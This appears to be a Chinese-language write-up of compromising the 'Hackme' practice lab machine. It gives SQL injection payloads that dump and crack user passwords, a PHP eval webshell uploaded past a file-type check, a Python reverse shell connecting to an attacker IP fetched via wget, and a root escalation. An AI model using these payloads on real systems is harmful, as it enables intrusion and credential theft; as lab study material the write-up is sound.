Hackme靶机-渗透学习

一、信息收集

arp-scan -l //主机发现

nmap -sV 192.168.0.173 //服务扫描

目录扫描

访问该链接http://192.168.64.137/register.php,是一个网站注册页面

创建一个密码为taidu00的用户taidu并登录,类似一个图书查询的网站

二、漏洞利用

1、验证sql注入 Windows OS' and 1=1#

Windows OS' and 1=2# //由此判断此存在注入点是字符型注入

2、判断字段数 Windows OS' order by 3#

Windows OS' order by 4#

判断只有3个字段

3、判断显示位置 1' union select 1,2,3#

4、查看当前数据库 1' union select 1,database(),3#

5、查看webapphacking数据库的所有表 1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#

6、查看users表中的字段名 1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'#

7、查看user,pasword字段中的数据 1' union select 1,group_concat(user),group_concat(pasword) from users#

8、对用户密码进行解密

user1	5d41402abc4b2a76b9719d911017c592	hello
user2	6269c4f71a55b24bad0f0267d9be5508	commando
user3	0f359740bd1cda994f8b55330c86d845	p@ssw0rd
test	05a671c66aefea124cc08b76ea6d30bb	testtest
superadmin	2386acb2cf356944177746fc92523983	Uncrackable
test1	05a671c66aefea124cc08b76ea6d30bb	testtest
admin	e10adc3949ba59abbe56e057f20f883e	123456
taidu	ceb05b0abdfb38da073bf5a745ddb7d4	taidu000

9、使用superadmin用户登录 密码：Uncrackable发现文件上传尝试文件

上传phpinfo()进行验证

制作假图片头 GIF89a<?php phpinfo(); ?>

上传前使用burp进行抓包

拦截-修改后缀，我们可以从回包中看出文件已将上传至文件夹

查看你目录扫描出的路径 http://192.168.0.173/uploads/phpinfo.php

10、利用文件上传漏洞

制作图片马 <?php @eval($_POST[shell]); ?>

上传前使用burp进行抓包

拦截-修改后缀，我们可以从回包中看出文件已将上传至文件夹

访问上传的图片马 http://192.168.0.173/uploads/b.php

蚁剑连接成功

上传反弹shell脚本

将反弹shell放在网站根目录下，开启http服务

service apache2 start

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.0.155",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

在蚁剑终端上下载 wget http://192.168.0.155/shell.py

kali监控1234端口

蚁剑运行shell.py

反弹shell成功

三、提权

1、识别所存在的用户 cat /etc/passwd | grep /bin/bash

通过以下命令获取一个标准shell

python -c 'import pty; pty.spawn("/bin/bash")'

2、在/home/legacy路径下发现二进制文件touchmenot，执行二进制文件即可获取ROOT权限